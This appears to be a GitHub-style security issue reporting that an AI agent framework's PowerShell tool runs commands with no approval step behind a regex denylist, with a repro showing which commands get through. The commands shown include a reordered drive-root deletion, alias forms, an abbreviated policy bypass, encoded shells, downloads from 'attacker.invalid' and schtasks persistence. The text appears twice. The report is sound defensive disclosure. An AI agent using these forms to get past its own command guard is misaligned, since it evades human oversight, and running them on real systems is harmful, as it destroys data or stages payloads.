Summary
The pwsh tool in microsoft/amplifier-bundle-windows-shell (modules/tool-pwsh; that repo has issues disabled, so filing here) runs every command through a text-pattern denylist (strict is the default profile) and then executes it directly. Two problems, in order of importance:
-
The tool exposes no approval surface at all, while its bash sibling ships with approval on by default. amplifier-module-tool-bash defaults require_approval: True and publishes get_metadata() returning requires_approval plus approval_hints.risk_level: "high". The pwsh module has no equivalent — PwshTool.execute() calls the safety check and, on pass, hands the command straight to the runner. Whatever the pattern layer misses therefore runs with zero confirmation steps.
-
The pattern layer misses every class it exists to block — including one of its own documented controls on the most natural way to spell the command.
A documented control fails on its own canonical spelling
safety.py blocks recursive deletion of a drive root with:
r"Remove-Item\b[^\n]*-Recurse\b[^\n]*(-Path\s+)?([\"']?[A-Za-z]:\\[\"']?\s|[\"']?[A-Za-z]:\\[\"']?$)"
The regex requires -Recurse to appear before the path. PowerShell accepts parameters in any order, so the plain spelling of the command goes through:
'Remove-Item -Recurse C:\\' -> allowed=False reason='Recursive deletion of a drive root'
'Remove-Item C:\\ -Recurse' -> allowed=True
'del C:\\ -Recurse' -> allowed=True (alias form)
Other classes the strict profile does not catch
The check matches command text — literal spellings at command position — never the parsed command, resolved aliases, expanded parameters, or decoded payloads:
- Aliases:
ri <file> (delete), gc <file> > <copy> (read + redirection) — the Remove-Item and elevation patterns match only full spellings.
- Abbreviated parameters:
powershell -EP Bypass -File x.ps1 — the pattern spells out -ExecutionPolicy; PowerShell accepts any unambiguous prefix.
- Encoded grandchild shells:
pwsh -EncodedCommand <base64 UTF-16LE> — the payload is never decoded for checking (the shipped runner itself uses this exact convention to carry the user command).
- Native acquisition tools:
certutil -urlcache -f http://… <out>, curl.exe -o <out> http://….
- Persistence:
schtasks /create /tn … /tr cmd.exe ….
- Anything else not on the list:
validate() ends in "Default: allow".
Repro (offline, shipped bytes at HEAD)
Against modules/tool-pwsh/amplifier_module_tool_pwsh/safety.py (blob 71adc743):
import amplifier_module_tool_pwsh.safety as safety
v = safety.SafetyValidator(profile="strict")
for cmd in [
"Remove-Item -Recurse C:\\",
"Remove-Item C:\\ -Recurse",
"del C:\\ -Recurse",
"ri victimfile.txt",
"powershell -ExecutionPolicy Bypass -File x.ps1",
"powershell -EP Bypass -File x.ps1",
"gc secret.txt > out.txt",
"pwsh -EncodedCommand AAAAAAAA",
"certutil -urlcache -f http://attacker.invalid/p out.bin",
"curl.exe -o staged.bin http://attacker.invalid/f",
"schtasks /create /tn t /tr cmd.exe /sc once /st 23:59",
]:
r = v.validate(cmd)
print(f"{cmd!r:58s} -> allowed={r.allowed}" + (f" reason={r.reason!r}" if not r.allowed else ""))
Verbatim output:
'Remove-Item -Recurse C:\\' -> allowed=False reason='Recursive deletion of a drive root'
'Remove-Item C:\\ -Recurse' -> allowed=True
'del C:\\ -Recurse' -> allowed=True
'ri victimfile.txt' -> allowed=True
'powershell -ExecutionPolicy Bypass -File x.ps1' -> allowed=False reason='Execution-policy bypass via command-line switch'
'powershell -EP Bypass -File x.ps1' -> allowed=True
'gc secret.txt > out.txt' -> allowed=True
'pwsh -EncodedCommand AAAAAAAA' -> allowed=True
'certutil -urlcache -f http://attacker.invalid/p out.bin' -> allowed=True
'curl.exe -o staged.bin http://attacker.invalid/f' -> allowed=True
'schtasks /create /tn t /tr cmd.exe /sc once /st 23:59' -> allowed=True
PwshTool composes exactly this check with the shipped PwshRunner, which spawns pwsh -NoProfile … -EncodedCommand … and runs the command via [scriptblock]::Create($decoded) — full-language, no constraints. So a "pass" is a direct execution with no further gate.
Suggested direction
- Approval parity: give the pwsh tool the same approval wiring the bash tool already has (
get_metadata() with requires_approval), so the default posture for shell execution is confirmation, not pattern matching.
- Decide on parsed structure, not text: parse with
[System.Management.Automation.Language.Parser]::ParseInput and admit only allowlisted command shapes, or run under ConstrainedLanguage with InitialSessionState command restrictions. The module docstring already names the AST option and defers it until "the pattern-based layer proves insufficient in practice" — the corpus above is evidence it has.
- If patterns stay, normalize before matching: resolve aliases (
Get-Command), expand abbreviated parameters, canonicalize parameter order, decode -EncodedCommand payloads and check them recursively, and reject nested shells (pwsh / powershell / cmd / bash as command keywords) and interpreter wrappers carrying quoted payloads.
Verified at HEAD fd58d714 (default branch main), 2026-09-20.
Summary
The
pwshtool inmicrosoft/amplifier-bundle-windows-shell(modules/tool-pwsh; that repo has issues disabled, so filing here) runs every command through a text-pattern denylist (strictis the default profile) and then executes it directly. Two problems, in order of importance:The tool exposes no approval surface at all, while its bash sibling ships with approval on by default.
amplifier-module-tool-bashdefaultsrequire_approval: Trueand publishesget_metadata()returningrequires_approvalplusapproval_hints.risk_level: "high". The pwsh module has no equivalent —PwshTool.execute()calls the safety check and, on pass, hands the command straight to the runner. Whatever the pattern layer misses therefore runs with zero confirmation steps.The pattern layer misses every class it exists to block — including one of its own documented controls on the most natural way to spell the command.
A documented control fails on its own canonical spelling
safety.pyblocks recursive deletion of a drive root with:r"Remove-Item\b[^\n]*-Recurse\b[^\n]*(-Path\s+)?([\"']?[A-Za-z]:\\[\"']?\s|[\"']?[A-Za-z]:\\[\"']?$)"The regex requires
-Recurseto appear before the path. PowerShell accepts parameters in any order, so the plain spelling of the command goes through:Other classes the strict profile does not catch
The check matches command text — literal spellings at command position — never the parsed command, resolved aliases, expanded parameters, or decoded payloads:
ri <file>(delete),gc <file> > <copy>(read + redirection) — theRemove-Itemand elevation patterns match only full spellings.powershell -EP Bypass -File x.ps1— the pattern spells out-ExecutionPolicy; PowerShell accepts any unambiguous prefix.pwsh -EncodedCommand <base64 UTF-16LE>— the payload is never decoded for checking (the shipped runner itself uses this exact convention to carry the user command).certutil -urlcache -f http://… <out>,curl.exe -o <out> http://….schtasks /create /tn … /tr cmd.exe ….validate()ends in "Default: allow".Repro (offline, shipped bytes at HEAD)
Against
modules/tool-pwsh/amplifier_module_tool_pwsh/safety.py(blob71adc743):Verbatim output:
PwshToolcomposes exactly this check with the shippedPwshRunner, which spawnspwsh -NoProfile … -EncodedCommand …and runs the command via[scriptblock]::Create($decoded)— full-language, no constraints. So a "pass" is a direct execution with no further gate.Suggested direction
get_metadata()withrequires_approval), so the default posture for shell execution is confirmation, not pattern matching.[System.Management.Automation.Language.Parser]::ParseInputand admit only allowlisted command shapes, or run under ConstrainedLanguage withInitialSessionStatecommand restrictions. The module docstring already names the AST option and defers it until "the pattern-based layer proves insufficient in practice" — the corpus above is evidence it has.Get-Command), expand abbreviated parameters, canonicalize parameter order, decode-EncodedCommandpayloads and check them recursively, and reject nested shells (pwsh/powershell/cmd/bashas command keywords) and interpreter wrappers carrying quoted payloads.Verified at HEAD
fd58d714(default branchmain), 2026-09-20.